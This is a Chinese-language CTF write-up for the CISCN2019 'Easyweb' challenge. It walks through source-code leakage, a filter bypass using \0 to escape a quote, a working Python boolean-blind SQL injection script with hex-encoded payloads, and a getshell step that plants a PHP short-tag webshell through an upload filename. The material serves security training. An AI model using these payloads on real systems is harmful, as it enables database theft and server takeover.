1. 程式人生 > 實用技巧 >刷題[CISCN2019 總決賽 Day2 Web1]Easyweb

刷題[CISCN2019 總決賽 Day2 Web1]Easyweb

解題思路

開啟網頁是這樣一個登陸框,隨機試了一下常見弱金鑰,二次注入等。均是返回不同的貓咪圖案

不同的id對應不同的貓咪圖案。經測試,返回的id應該是無序,隨機的。感覺這裡有可能存在注入點,但是測試好像沒有報錯的情況,先記著。

原始碼沒東西,robots.txt呢,發現了東西。

應該是存在原始碼洩露了,但是要找出是哪個php檔案。index.php.bak不對,user.php.bak不對。這裡暫時沒思路了。掃下目錄,看看有沒有後臺

掃描,嚇了一跳,發現怎麼有這麼多東西,這是我第一次見到掃出來這麼多的了。但是好像所有的檔案都會返回相同的登陸框頁面,猜測這裡有重定向

想了一會兒,想到貓咪的頁面image.php

image.php.bak終於找到了,存在原始碼洩露

程式碼審計

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

這一看不是老布林盲注了嗎,最近刷了好多這種題啊。id為0正好報錯,id為1顯示正確

主要考慮:

怎麼繞過對單引號的過濾,閉合id的單引號,把危險程式碼放在path變數中

不能用單引號閉合單引號,那麼我們考慮能不能用\轉義單引號呢。

這裡過濾不算特別嚴格,並且使用的是str_replace這種有缺陷的函式。

我們反推:

  1. 最後要是\,那麼經過str_replace函式處理之前可以是\\0(函式中的\\0,第一個斜槓轉義\,表示成真實的\)
  2. \\0在經過addslashes函式處理之前可以是\0。

那麼就出來了,我們在id處傳入\0,即可在經過一系列處理後變成\,轉義單引號。

語句即變成:

select * from images where id='\' or path='{$path}'

編寫exp

import requests

url = "http://0fc26848-c4ee-46f6-b15d-ad97821f76e2.node3.buuoj.cn/image.php?id=\\0&path="
result = ""
for i in range(1,30):
	low = 32
	high =128
	mid = (high+low)//2
	while(low<high):
		payload = "or id=if(ascii(substr((database()),{0},1))>{1},1,0)%23".format(i,mid)
		html = requests.get(url+payload)
		print(low,high,mid,":")
		print(url+payload)
		if "JFIF" in html.text:
			low = mid+1
		else:
			high = mid
		mid = (high+low)//2
	if(low ==32 or high==128):
		break
	result = result + chr(mid)
	print(result)
print("flag: " ,result)

爆出來當前資料庫,ciscnfinal

爆表
or id=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x636973636e66696e616c ),{0},1))>{1},1,0)%23

因為單引號被過濾,直接可以用16進位制繞過。爆出表:images,users

知道了password應該在users表中,爆列名。

爆出password:e18be75a8a54cf38a377。成功登陸

getshell

傳入一些檔案後發現,它是把傳入的檔案寫入

/logs/upload.4ee0861649284ba13ea8e84271cc35a7.log.php

寫入的檔案是php檔案,也就是說我們要把一句話作為檔名。

這裡發現打不進去。在網上看到有一種叫短標籤的方式

在php的配置檔案(php.ini)中有一個short_open_tag的值,開啟以後可以使用PHP的短標籤:(<? ?>)

這是一個小tips學到了

然後蟻劍連本檔案,flag在根目錄下

總結思路

  • 原始碼洩露
  • 程式碼審計,布林盲注,爆出密碼
  • 短標籤繞過對檔名php的過濾

知識點

  • 程式碼審計
  • sql注入(布林盲注)
  • php特性